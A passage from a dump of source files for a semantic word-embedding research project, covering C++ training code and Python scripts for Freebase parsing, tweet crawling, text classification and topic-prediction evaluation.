atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-cbow\", argc, argv)) > 0) cbow = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-alpha\", argc, argv)) > 0) alpha = atof(argv[i + 1]);\n if ((i = ArgPos((char *)\"-output\", argc, argv)) > 0) strcpy(output_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-window\", argc, argv)) > 0) window = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-sample\", argc, argv)) > 0) sample = atof(argv[i + 1]);\n if ((i = ArgPos((char *)\"-hs\", argc, argv)) > 0) hs = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-negative\", argc, argv)) > 0) negative = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-weight-tying\", argc, argv)) > 0) weight_tying = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-threads\", argc, argv)) > 0) num_threads = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-thread-pmm\", argc, argv)) > 0) num_thread_pmm = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-min-count\", argc, argv)) > 0) min_count = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-classes\", argc, argv)) > 0) classes = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-regin\", argc, argv)) > 0) reg_in = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-regout\", argc, argv)) > 0) reg_out = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-ppfile\", argc, argv)) > 0) strcpy(pp_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-lambda\", argc, argv)) > 0) lambda = atof(argv[i + 1]);\n if ((i = ArgPos((char *)\"-semdim\", argc, argv)) > 0) sem_dim = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-word2vec\", argc, argv)) > 0) word2vec = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-pretrain\", argc, argv)) > 0) pretrain = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-pretrain-file\", argc, argv)) > 0) strcpy(pretrain_file, argv[i + 1]);\n }\n else{\n printf(\"WORD VECTOR estimation toolkit v 0.1b\\n\\n\");\n printf(\"Options:\\n\");\n printf(\"Parameters for training:\\n\");\n printf(\"\\t-train <file>\\n\");\n printf(\"\\t\\tUse text data from <file> to train the model\\n\");\n printf(\"\\t-output <file>\\n\");\n printf(\"\\t\\tUse <file> to save the resulting word vectors / word clusters\\n\");\n printf(\"\\t-size <int>\\n\");\n printf(\"\\t\\tSet size of word vectors; default is 100\\n\");\n printf(\"\\t-window <int>\\n\");\n printf(\"\\t\\tSet max skip length between words; default is 5\\n\");\n printf(\"\\t-sample <float>\\n\");\n printf(\"\\t\\tSet threshold for occurrence of words. Those that appear with higher frequency\");\n printf(\" in the training data will be randomly down-sampled; default is 0 (off), useful value is 1e-5\\n\");\n printf(\"\\t-hs <int>\\n\");\n printf(\"\\t\\tUse Hierarchical Softmax; default is 1 (0 = not used)\\n\");\n printf(\"\\t-negative <int>\\n\");\n printf(\"\\t\\tNumber of negative examples; default is 0, common values are 5 - 10 (0 = not used)\\n\");\n printf(\"\\t-threads <int>\\n\");\n printf(\"\\t\\tUse <int> threads (default 1)\\n\");\n printf(\"\\t-min-count <int>\\n\");\n printf(\"\\t\\tThis will discard words that appear less than <int> times; default is 5\\n\");\n printf(\"\\t-alpha <float>\\n\");\n printf(\"\\t\\tSet the starting learning rate; default is 0.025\\n\");\n printf(\"\\t-classes <int>\\n\");\n printf(\"\\t\\tOutput word classes rather than word vectors; default number of classes is 0 (vectors are written)\\n\");\n printf(\"\\t-debug <int>\\n\");\n printf(\"\\t\\tSet the debug mode (default = 2 = more info during training)\\n\");\n printf(\"\\t-binary <int>\\n\");\n printf(\"\\t\\tSave the resulting vectors in binary moded; default is 0 (off)\\n\");\n printf(\"\\t-save-vocab <file>\\n\");\n printf(\"\\t\\tThe vocabulary will be saved to <file>\\n\");\n printf(\"\\t-read-vocab <file>\\n\");\n printf(\"\\t\\tThe vocabulary will be read from <file>, not constructed from the training data\\n\");\n printf(\"\\t-cbow <int>\\n\");\n printf(\"\\t\\tUse the continuous bag of words model; default is 0 (skip-gram model)\\n\");\n printf(\"\\nExamples:\\n\");\n printf(\"./word2vec -train data.txt -output vec.txt -debug 2 -size 200 -window 5 -sample 1e-4 -negative 5 -hs 0 -binary 0 -cbow 1\\n\\n\");\n\n //fileconfig\n strcpy(train_file, \"../../paper/data/wiki/wiki_corpus_small\");\n strcpy(output_file, \"../../paper/data/srwe_model/wiki_small.w2v.r.0.00001.update_word.train_relation.model\");\n strcpy(pp_file, \"../../paper/data/srwe_model/semantic_pair\");\n strcpy(relational_file, \"../../paper/data/srwe_model/freebase.100.relation.train\");\n use_relational = 1;\n use_pp = 1;\n cbow = 1;\n layer1_size = 100;\n window = 5;\n negative = 5;\n hs = 0;\n sample = 1e-4;\n num_threads = 1;\n num_thread_pmm = 1;\n binary = 0;\n lambda = 0.00005;\n gamma_value = 0.00001;\n\n weight_tying = 0;\n reg_in = 1;\n reg_out = 1;\n word2vec = 1;\n pretrain = 0;\n epochs = 300;\n }\n\n if (sem_dim == 0) {\n sem_dim = layer1_size;\n }\n pp_count_actual = 0;\n vocab = (struct vocab_word *)calloc(vocab_max_size, sizeof(struct vocab_word));\n vocab_hash = (int *)calloc(vocab_hash_size, sizeof(int));\n expTable = (real *)malloc((EXP_TABLE_SIZE + 1) * sizeof(real));\n for (i = 0; i < EXP_TABLE_SIZE; i++) {\n expTable[i] = exp((i / (real)EXP_TABLE_SIZE * 2 - 1) * MAX_EXP); // Precompute the exp() table\n expTable[i] = expTable[i] / (expTable[i] + 1); // Precompute f(x) = x / (x + 1)\n }\n pp = new Paraphrase2(pp_file);\n cout << \"pp.size:\" << pp->ppdict.size() << endl;\n ppeval = NULL;\n rdata = new RelationalData(string(relational_file));\n TrainModel();\n cout << endl;\n cout << alpha << endl;\n cout << word_count_actual << endl;\n cout << \"lambda:\" << lambda << endl;\n cout << pp_count_actual << endl;\n delete pp;\n pp = NULL;\n return 0;\n}\n"},{"alpha_fraction":0.6356382966041565,"alphanum_fraction":0.6578013896942139,"avg_line_length":17.491804122924805,"blob_id":"7513263887740a111d4a041e742c8c075b7e33d7","content_id":"60b3519e67ebfd1095543530eecfa13543505193","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1130,"license_type":"no_license","max_line_length":67,"num_lines":61,"path":"/src/Paraphrase.h","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"//\n// Paraphrase.h\n// word2vec\n//\n// Created by gflfof gflfof on 14-1-22.\n// Copyright (c) 2014年 hit. All rights reserved.\n//\n\n#ifndef word2vec_Paraphrase_h\n#define word2vec_Paraphrase_h\n\n#include <tr1/unordered_map>\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include <string.h>\n\nusing namespace std;\n\ntypedef std::tr1::unordered_map<string, vector<string> > word2list;\ntypedef std::tr1::unordered_map<string, int> word2int;\ntypedef std::tr1::unordered_map<string, word2int> word2dict;\n\nclass Paraphrase2\n{\npublic:\n word2dict ppdict;\n \n Paraphrase2(string filename)\n {\n InitDict(filename);\n }\n \n void InitDict(string filename);\n \n void GetList(string word, vector<string>& pplist);\n void GetDict(vector<string>& keys);\n};\n\nclass Paraphrase\n{\n public:\n word2list pplist;\n \n Paraphrase(string filename)\n {\n InitList(filename);\n }\n \n Paraphrase(Paraphrase2* ppdict)\n {\n \n }\n \n void InitList(string filename);\n \n //vector<string>* GetList(string word);\n void GetList(string word, vector<string>& retlist);\n};\n\n#endif\n"},{"alpha_fraction":0.6248149871826172,"alphanum_fraction":0.6356684565544128,"avg_line_length":39.93939208984375,"blob_id":"b9bd8cfababff8f67342310c25f044a23e23a9f7","content_id":"56caeaf580a76346d9cfe2ebba2ed68c254711f1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4054,"license_type":"no_license","max_line_length":137,"num_lines":99,"path":"/evaluation/text_classification.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import sys\nsys.path.append('../src')\nfrom utils import load_w2v_model\nfrom collections import defaultdict\nimport numpy as np\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import precision_recall_fscore_support\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nenglish_stopwords = stopwords.words('english')\nenglish_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%']\nwords_to_remove = english_stopwords + english_punctuations\n\ndef clean_text(text):\n return [word.lower() for word in word_tokenize(text) if word not in words_to_remove]\n\ndef get_vec_from_words(words, model, d):\n vec_sum = np.zeros(d)\n for word in words:\n if word in model:\n vec_sum += model[word]\n return vec_sum\n\ndef get_vec_len(model):\n vec_len = 0\n for each in model:\n vec_len = len(model[each])\n break\n return vec_len\n\ndef load_nytimes(filename, model):\n d = get_vec_len(model)\n corpus_vec = []\n corpus_label = []\n line_count = 0\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n corpus_vec.append(get_vec_from_words(clean_text(arr[0].decode('utf-8')), model, d))\n corpus_label.append(arr[1])\n if line_count % 50000 == 0:\n logging.info('loading nytimes... %d' % line_count)\n line_count += 1\n return np.array(corpus_vec), corpus_label\n\ndef transfer_label(labels, target):\n res = [1 if x == target else 0 for x in labels]\n return np.array(res)\n\ndef train(label, X_train, X_test, y_train, y_test):\n logging.info('training %s' % label)\n y_train_label = transfer_label(y_train, label)\n y_test_label = transfer_label(y_test, label)\n clf = LogisticRegression()\n clf.fit(X_train, y_train_label)\n ans = clf.predict_proba(X_test[0].reshape(1, -1))\n #print clf.classes_\n #print type(ans)\n #print ans\n return clf\n #acc = clf.score(X_test, y_test_label)\n #logging.info('%s acc:%lf' % (label, acc))\n #y_pred = clf.predict(X_test)\n #precision, recall, f_score, support = precision_recall_fscore_support(y_test_label, y_pred, average='binary')\n #logging.info('%s,length:%d,precision:%.4lf,recall:%.4lf,f_score:%.4lf' % (label, y_test_label.shape[0], precision, recall, f_score))\n\ndef main():\n model_file = '../../paper/data/srwe_model/wiki_small.w2v.model'\n nytimes_file = '../gen_data/nytimes/news_corpus'\n model = load_w2v_model(model_file, logging, nparray=True)\n corpus_vec, corpus_label = load_nytimes(nytimes_file, model)\n labels = list(set(corpus_label))\n X_train, X_test, y_train, y_test = train_test_split(corpus_vec, corpus_label, test_size=0.2, random_state=42)\n logging.info('train size: %d, test size:%d' % (len(y_train), len(y_test)))\n clfs = {}\n for label in labels:\n clfs[label] = train(label, X_train, X_test, y_train, y_test)\n\n y_pred = []\n for each in X_test:\n pred_res = []\n for label in clfs:\n pred_res.append((clfs[label].predict_proba(each.reshape(1, -1))[0][1], label))\n sorted_pred = sorted(pred_res, key=lambda x: x[0], reverse=True)\n y_pred.append(sorted_pred[0][1])\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred)\n for l, p, r, f in zip(present_labels, precision, recall, f_score):\n print '%s\\t%.4lf\\t%.4lf\\t%.4lf' % (l, p, r, f)\n\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred, average='macro')\n print 'Macro\\t%.4lf\\t%.4lf\\t%.4lf' % (precision, recall, f_score)\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred, average='micro')\n print 'Micro\\t%.4lf\\t%.4lf\\t%.4lf' % (precision, recall, f_score)\n\nif __name__ == '__main__':\n main()\n\n"},{"alpha_fraction":0.5619403123855591,"alphanum_fraction":0.5738806128501892,"avg_line_length":33.79220962524414,"blob_id":"d083807b8756abab2d4fc397b7d97664125c1a80","content_id":"7994d19eec351f6768c17445b585c5fb5602d277","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2680,"license_type":"no_license","max_line_length":115,"num_lines":77,"path":"/gen_data/twitter/crawler_twitter.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import lxml.html as H\nimport urllib\nimport socket\nsocket.setdefaulttimeout(10)\nimport json\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom multiprocessing import Process\n\nXPATH_INITDATA = '//p[@class=\"TweetTextSize TweetTextSize--26px js-tweet-text tweet-text\"]'\n\ndef get_tweet(uid, sid):\n f = urllib.urlopen(\"https://twitter.com/%s/status/%s\" % (uid, sid))\n page = H.document_fromstring(f.read())\n node = page.xpath(XPATH_INITDATA)\n if len(node) != 1: return None\n return node[0].text_content()\n #data = json.loads(node[0].value)\n #if u'initialState' not in data or u'title' not in data[u'initialState']: return None\n #return data[u'initialState'][u'title']\n\ndef work_process(_id, begin, end, filename):\n logging.info('process %d start' % _id)\n fout = file('../tweets/part_%d.res' % _id, 'w')\n ferr = file('../tweets/part_%d.err' % _id, 'w')\n line_count = 0\n process_line = 0\n with open(filename) as fin:\n for line in fin:\n line_count += 1\n if line_count < begin: continue\n if line_count >= end: break\n process_line += 1\n if process_line % 10 == 0:\n logging.info('process %d:%d:%lf%%' % (_id, process_line, 1.0 * process_line / (end - begin) * 100))\n sid, uid, md5, topic = line.strip().split('\\t')\n try:\n tweet = get_tweet(uid, sid)\n if tweet:\n fout.write('%s\\t%s\\t%s\\t%s\\n' % (sid, uid, topic, tweet.encode('utf-8')))\n fout.flush()\n except Exception, e:\n logging.info('process:%d\\tline:%d\\terr:%s' % (_id, line_count, str(e)))\n ferr.write('%s' % line)\n ferr.flush()\n fout.close()\n ferr.close()\n logging.info('process:%d finish' % _id)\n\ndef get_line_count(filename):\n logging.info('getting line count')\n count = 0\n with open(filename) as fin:\n for line in fin:\n count += 1\n return count\n\ndef main():\n filename = '../../../paper/data/twitter/ODPtweets-Mar17-29.tsv'\n total = get_line_count(filename)\n logging.info('%s:line_count:%d' % (filename, total))\n process_nums = 5\n size = total / process_nums\n seg_info = [0]\n for i in range(process_nums - 1):\n seg_info.append(seg_info[-1] + size)\n seg_info.append(total)\n processes = []\n for i in range(process_nums):\n processes.append(Process(target=work_process, args=(i, seg_info[i], seg_info[i + 1], filename, )))\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n\nif __name__ == '__main__':\n main()\n\n"},{"alpha_fraction":0.4997994899749756,"alphanum_fraction":0.5173105001449585,"avg_line_length":33.15981674194336,"blob_id":"f8f348c576cacb6a892eb5de8631a106d3f09617","content_id":"397c37d566ef9a63cdf28e4c69673d86143ae2c1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":7481,"license_type":"no_license","max_line_length":161,"num_lines":219,"path":"/gen_data/parse_freebase_.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import gzip\nimport sys\nsys.path.append('../src')\nimport datetime\nimport re\nfrom utils import is_version, load_wiki_dict\nimport os\n\ndef log(logstr, writer = sys.stdout, inline = False):\n writer.write(\"%s\\t%s%s\" % (str(datetime.datetime.now()), logstr, '\\r' if inline else '\\n'))\n writer.flush()\n\ndef clean_tag():\n fout = file('../../paper/data/freebase/instance.all.clean', 'w')\n ferr = file('../../paper/data/freebase/instance.all.err', 'w')\n relation = 'type.type.instance>'\n ns_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\n count = 1\n with open('../../paper/data/freebase/instance.all.tag') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) != 4 or not arr[1].endswith(relation):\n ferr.write('%s\\n' % line)\n continue\n topic = ns_pattern.search(arr[0]).groups()[0]\n mid = ns_pattern.search(arr[2]).groups()[0]\n fout.write('%s\\t%s\\n' % (topic, mid))\n if count % 100000 == 0:\n log(count)\n count += 1\n fout.close()\n\ndef extract_instance():\n fin = gzip.open('../../paper/data/freebase/freebase-rdf-latest.gz.1')\n fout = file('../../paper/data/freebase/os_extract', 'w')\n\n relation = 'type.type.instance'\n\n count = 0\n total = 0\n for line in fin:\n if relation in line:\n fout.write('%s' % line)\n count += 1\n if total % 1000000 == 0:\n log('total:%d, count:%d' % (total, count))\n total += 1\n fout.close()\n log('total:%d, count:%d' % (total, count))\n\ndef filter_name():\n name_pattern = re.compile(r'\\\"(.*)\\\"@en')\n mid_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\n fin = gzip.open('../../paper/data/freebase/freebase-rdf-latest.gz.1')\n fout = file('../../paper/data/freebase/mid_name.clean', 'w')\n\n relation = '<http://rdf.freebase.com/ns/type.object.name>'\n language = '@en'\n\n count = 0\n total = 0\n for line in fin:\n arr = line.strip().split('\\t')\n total += 1\n if len(arr) >= 3 and relation in arr[1] and arr[2].endswith(language):\n name = name_pattern.search(arr[2])\n if not name: continue\n name = name.groups()[0]\n mid = mid_pattern.search(arr[0]).groups()[0]\n fout.write('%s\\t%s\\n' % (mid, name))\n fout.flush()\n count += 1\n log(count, inline=False)\n if total % 1000000 == 0:\n log('total:%d' % total)\n\n log('total:%d' % total)\n #if 'type.object.type' in line:\n #fout.write(line)\n #fout.flush()\n #count += 1\n #log(count, inline=False)\n\ndef filter_1_gram():\n name_pattern = re.compile(r'\\\"(.*)\\\"@en')\n mid_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\n fin = open('../../paper/data/freebase/alias')\n fout = open('../../paper/data/freebase/alias_1gram', 'w')\n count = 0\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) < 3: continue\n name = name_pattern.search(arr[2])\n if not name: continue\n name = name.groups()[0]\n # remain 1 word record\n if len(name.split(' ')) > 1: continue\n mid = mid_pattern.search(arr[0]).groups()[0]\n fout.write('%s\\t%s\\n' % (mid, name))\n count += 1\n if count % 1000 == 0:\n log(count)\n fout.close()\n\ndef load_map(filename):\n id_map = {}\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n id_map[arr[0]] = arr[1]\n return id_map\n\ndef alias_to_name(filename):\n count = 1\n log('loading id_map...')\n id_map = load_map('../../paper/data/freebase/id_map.1gram')\n fout = file('../../paper/data/freebase/alias_pair', 'w')\n log('mapping alias...')\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if arr[0] not in id_map: continue\n fout.write('%s\\t%s\\n' % (id_map[arr[0]], arr[1]))\n if count % 1000 == 0:\n log(count)\n fout.close()\n\ndef relation_to_name(filename):\n count = 1\n log('loading id_map...')\n id_map = load_map('../../paper/data/freebase/mid_name')\n fout = file('../../paper/data/freebase/instance.all.name', 'w')\n ferr = file('../../paper/data/freebase/instance.miss.err', 'w')\n log('mapping instances...')\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if arr[1] not in id_map:\n ferr.write('%s\\n' % arr[1])\n continue\n fout.write('%s\\t%s\\n' % (arr[0], id_map[arr[1]]))\n if count % 1000 == 0:\n log(count)\n fout.close()\n ferr.close()\n\ndef split_relation(filename):\n wiki_dict = load_wiki_dict('../../paper/data/wiki/wiki_corpus.vocab')\n count = 1\n fouts = {}\n vocab_in_wiki_count = {}\n with open(filename) as fin:\n for line in fin:\n if count % 10000 == 0:\n log(count)\n count += 1\n arr = line.strip().split('\\t')\n if len(arr) != 2: continue\n relation = arr[0].split('.')\n if relation[0] not in fouts:\n fouts[relation[0]] = file('../../paper/data/freebase/split_wiki_words/%s' % relation[0], 'w')\n vocab_in_wiki_count[relation[0]] = {}\n vocab_in_wiki_count[relation[0]]['total'] = 0\n vocab_in_wiki_count[relation[0]]['hit'] = 0\n # rules to extract entity name\n name = None\n parts = arr[1].split(' ')\n if len(parts) == 1: name = arr[1]\n if len(parts) == 2 and is_version(parts[1]): name = parts[0]\n # rules end\n if not name: continue\n name = name.lower()\n vocab_in_wiki_count[relation[0]]['total'] += 1\n if name in wiki_dict: vocab_in_wiki_count[relation[0]]['hit'] += 1\n else: continue\n fouts[relation[0]].write('%s\\t%s\\t%d\\n' % (arr[0], name, wiki_dict[name]))\n fres = file('./hit_rate', 'w')\n for name in fouts:\n fouts[name].close()\n count = vocab_in_wiki_count[name]\n to_write = '%s\\thit:%d\\ttotal:%d\\trate:%lf\\n' % (name, count['hit'], count['total'], 1.0 * count['hit'] / (count['total'] if count['total'] != 0 else 1))\n print to_write\n fres.write(to_write)\n fres.close()\n\ndef aggregate_topic(path):\n target_topic = [\n \"astronomy\",\n \"biology\",\n \"boats\",\n \"chemistry\",\n \"computer\",\n \"fashion\",\n \"food\",\n \"geology\",\n \"interests\",\n \"language\",\n ]\n fout = file('../../paper/data/srwe_model/freebase.100.relation', 'w')\n for topic in target_topic:\n log('processing %s' % topic)\n with open(os.path.join(path, topic)) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if int(arr[2]) <= 100: continue\n fout.write('%s\\t%s\\t%s\\n' % (arr[1], 'type_of_%s' % topic, topic))\n fout.close()\n\ndef main():\n #filter_1_gram()\n #alias_to_name('../../paper/data/freebase/alias_1gram')\n #extract()\n #clean_tag()\n #filter_name()\n #split_relation('../../paper/data/freebase/instance.all.name')\n aggregate_topic('../../paper/data/freebase/split_wiki_words/')\n\nif __name__ == '__main__':\n main()\n"},{"alpha_fraction":0.5223081707954407,"alphanum_fraction":0.5385683178901672,"avg_line_length":35.810218811035156,"blob_id":"4cb9001cd9f99eceb033996061128e143db55eea","content_id":"4db94699a1a717e73cf6f57a0b68cac95364cbec","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":10086,"license_type":"no_license","max_line_length":164,"num_lines":274,"path":"/evaluation/topic_prediction.py","repo_name":"zbhno37/srwe","src_encoding":"UTF-8","text":"import sys\nsys.path.append('../src')\nfrom utils import load_w2v_model, similarity, MinSizeHeap, similarity_numpy\nfrom collections import defaultdict\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom multiprocessing import Process, Manager\nfrom multiprocessing.managers import BaseManager\n\nclass HeapManager(BaseManager):\n pass\n\nHeapManager.register('MinSizeHeap', MinSizeHeap, exposed = ['push', 'pop', 'sort', 'extend', 'clear', 'get'])\n\ndef add_vector(vec1, vec2):\n return [vec1[i] + vec2[i] for i in range(len(vec1))]\n #return vec1 + vec2\n\ndef minus_vector(vec1, vec2):\n #return [vec1[i] - vec2[i] for i in range(len(vec1))]\n return vec1 - vec2\n\ndef find_similar_topics(vec, model, top_n = 1):\n heap = MinSizeHeap(top_n)\n for word in model:\n if 'type_of_' not in word:\n heap.push((similarity(vec, model[word]), word))\n #heap.push((similarity_numpy(vec, model[word]), word))\n heap.sort()\n return heap.arr\n\ndef get_lc_and_relation(filename):\n count = 0\n relation = set()\n with open(filename) as fin:\n for line in fin:\n count += 1\n relation.add(line.strip().split('\\t')[-1])\n return count, list(relation)\n\ndef find_similar_word_process(vec, model_items, _id, begin, end, top_n, heap):\n heap.clear()\n if begin > len(model_items): return\n if end > len(model_items): end = len(model_items)\n for i in range(begin, end):\n if 'type_of_' not in model_items[i][0]:\n heap.push((similarity(vec, model_items[i][1]), model_items[i][0]))\n #for each in heap.get():\n #print '%d\\t%s' % (_id, each)\n\ndef find_similar_word_multiproc(vec, model_items, heaps, top_n = 1, process_nums = 10):\n size = len(model_items) / process_nums\n # seg_info\n # [a, b)\n seg_info = [0]\n for i in range(process_nums - 1):\n seg_info.append(seg_info[-1] + size)\n seg_info.append(len(model_items))\n processes = []\n for i in range(process_nums):\n processes.append(Process(target=find_similar_word_process, args=(vec, model_items, i, seg_info[i], seg_info[i + 1], top_n, heaps[i])))\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n #merge\n heap = MinSizeHeap(top_n)\n for each in heaps:\n heap.extend(each.get())\n heap.sort()\n return heap.arr\n\ndef topic_prediction(test_file, train_file, model):\n # train_file is to calculate relation vector\n k = len(model['</s>'])\n relation_count = defaultdict(lambda: 0)\n logging.info('calculating relation vectors...')\n with open(train_file) as fin:\n for line in fin:\n h, r, t = line.strip().split('\\t')\n if h not in model or t not in model: continue\n if r not in model: model[r] = [0.0] * k\n for i in range(k):\n model[r][i] += model[t][i] - model[h][i]\n relation_count[r] += 1\n for r in relation_count:\n for i in range(k):\n model[r][i] /= relation_count[r]\n #return topic_prediction_with_relation(test_file, model)\n return topic_prediction_with_relation_multiproc(test_file, model)\n\ndef topic_prediction_with_relation(test_file, model):\n topic_list = [\n \"astronomy\",\n \"biology\",\n \"boats\",\n \"chemistry\",\n \"computer\",\n \"fashion\",\n \"food\",\n \"geology\",\n \"interests\",\n \"language\",\n ]\n prediction_res = {}\n for topic in topic_list:\n prediction_res[topic] = {}\n prediction_res[topic]['correct'] = 0\n # 1 for smooth\n prediction_res[topic]['total'] = 1\n model_items = model.items()\n line_count = 0\n process_nums = 10\n top_n = 3\n\n heapManager = HeapManager()\n heapManager.start()\n heaps = [None] * process_nums\n for i in range(process_nums):\n heaps[i] = heapManager.MinSizeHeap(top_n)\n\n with open(test_file) as fin:\n for line in fin:\n #if line_count % 100 == 0:\n logging.info(line_count)\n line_count += 1\n h, r, t = line.strip().split('\\t')\n if h not in model: continue\n h_r = add_vector(model[h], model[r])\n #candidates = find_similar_topics(h_r, model, top_n=3)\n candidates = find_similar_word_multiproc(h_r, model_items, heaps=heaps, top_n=top_n, process_nums=process_nums)\n for simi, topic in candidates:\n if t == topic:\n prediction_res[t]['correct'] += 1\n break\n prediction_res[t]['total'] += 1\n\n return prediction_res\n\ndef find_similar_word_partly_proc(_id, topic_list, filename, model, begin, end, count_dict, top_n):\n logging.info('process %d start' % _id)\n # not dict(dict())\n # the inner dict can not be sync\n #for topic in topic_list:\n #logging.info('%d, topic:%s' % (_id, topic))\n ##count_dict[topic] = {}\n ##count_dict[topic][1] = 0\n ##count_dict[topic][3] = 0\n ##count_dict[topic][5] = 0\n ##count_dict[topic][0] = 1\n line_count = 0\n process_line = 0\n with open(filename) as fin:\n for line in fin:\n line_count += 1\n if line_count < begin: continue\n if line_count >= end: break\n process_line += 1\n #if process_line > 10: break\n if process_line % 10 == 0:\n logging.info('process %d:%d:%lf%%' % (_id, process_line, 1.0 * process_line / (end - begin) * 100))\n h, r, t = line.strip().split('\\t')\n if h not in model: continue\n h_r = add_vector(model[h], model[r])\n #h_r = model[h] + model[r]\n candidates = find_similar_topics(h_r, model, top_n=top_n)\n for i, each in enumerate(candidates):\n simi, topic = each\n if t == topic:\n if i == 0:\n count_dict['%s_1' % topic] += 1\n count_dict['%s_3' % topic] += 1\n count_dict['%s_5' % topic] += 1\n #count_dict[topic][1] += 1\n #count_dict[topic][3] += 1\n #count_dict[topic][5] += 1\n elif 1 <= i <= 2:\n count_dict['%s_3' % topic] += 1\n count_dict['%s_5' % topic] += 1\n #count_dict[topic][3] += 1\n #count_dict[topic][5] += 1\n elif 3<= i <= 4:\n count_dict['%s_5' % topic] += 1\n #count_dict[topic][5] += 1\n break\n count_dict['%s_0' % t] += 1\n logging.info('process %d finished.' % _id)\n\ndef topic_prediction_with_relation_multiproc(test_file, model):\n total = 0\n process_nums = 10\n top_n = 5\n logging.info('geting line count...')\n total, topic_list = get_lc_and_relation(test_file)\n size = total / process_nums\n seg_info = [0]\n for i in range(process_nums - 1):\n seg_info.append(seg_info[-1] + size)\n seg_info.append(total)\n\n manager = Manager()\n count_dicts = []\n for i in range(process_nums):\n count_dicts.append(manager.dict())\n for topic in topic_list:\n count_dicts[i]['%s_1' % topic] = 0\n count_dicts[i]['%s_3' % topic] = 0\n count_dicts[i]['%s_5' % topic] = 0\n count_dicts[i]['%s_0' % topic] = 0\n processes = []\n for i in range(process_nums):\n processes.append(Process(target=find_similar_word_partly_proc, args=(i, topic_list, test_file, model, seg_info[i], seg_info[i + 1], count_dicts[i], top_n)))\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n\n prediction_res = {}\n for topic in topic_list:\n prediction_res[topic] = {}\n prediction_res[topic][1] = 0\n prediction_res[topic][3] = 0\n prediction_res[topic][5] = 0\n prediction_res[topic][0] = 0\n\n for count_dict in count_dicts:\n for topic in topic_list:\n for i in [0, 1, 3, 5]:\n key = '%s_%d' % (topic, i)\n prediction_res[topic][i] += count_dict[key]\n\n for topic in topic_list:\n if prediction_res[topic][0] == 0:\n prediction_res[topic][0] = 1\n return prediction_res\n\ndef main():\n has_relation = False\n model_path = '../../paper/data/srwe_model/wiki_small.w2v.model'\n #model_path = '../../paper/data/srwe_model/wiki_small.w2v.model'\n logging.info('loading model...')\n model = load_w2v_model(model_path, logging, nparray=False)\n train_file = '../../paper/data/srwe_model/freebase.100.relation.train'\n test_file = '../../paper/data/srwe_model/freebase.100.relation.test'\n if has_relation:\n #prediction_res = topic_prediction_with_relation(test_file, model)\n prediction_res = topic_prediction_with_relation_multiproc(test_file, model)\n else:\n #prediction_res = topic_prediction(test_file, train_file, model)\n prediction_res = topic_prediction(test_file, train_file, model)\n\n total_count = {}\n for i in [0, 1, 3, 5]:\n total_count[i] = 0\n\n for topic in prediction_res:\n res = prediction_res[topic]\n print 'topic:%s, total:%d' % (topic, res[0])\n total_count[0] += res[0]\n for i in range(1, 6):\n if i in res:\n total_count[i] += res[i]\n print 'top:%d, correct:%d, total:%d, correct rate:%lf' % (\n i, res[i], res[0], 1.0 * res[i] / res[0])\n #print 'correct:%d, total:%d, correct rate:%lf' % (res['correct'],\n #res['total'],\n #1.0 * res['correct'] / res['total'])\n print 'total'\n for i in range(1, 6):\n if i in total_count:\n print 'top:%d, correct:%d, total:%d, correct rate:%lf' % (\n i, total_count[i], total_count[0], 1.0 * total_count[i] / total_count[0])\nif __name__ == '__main__':\n 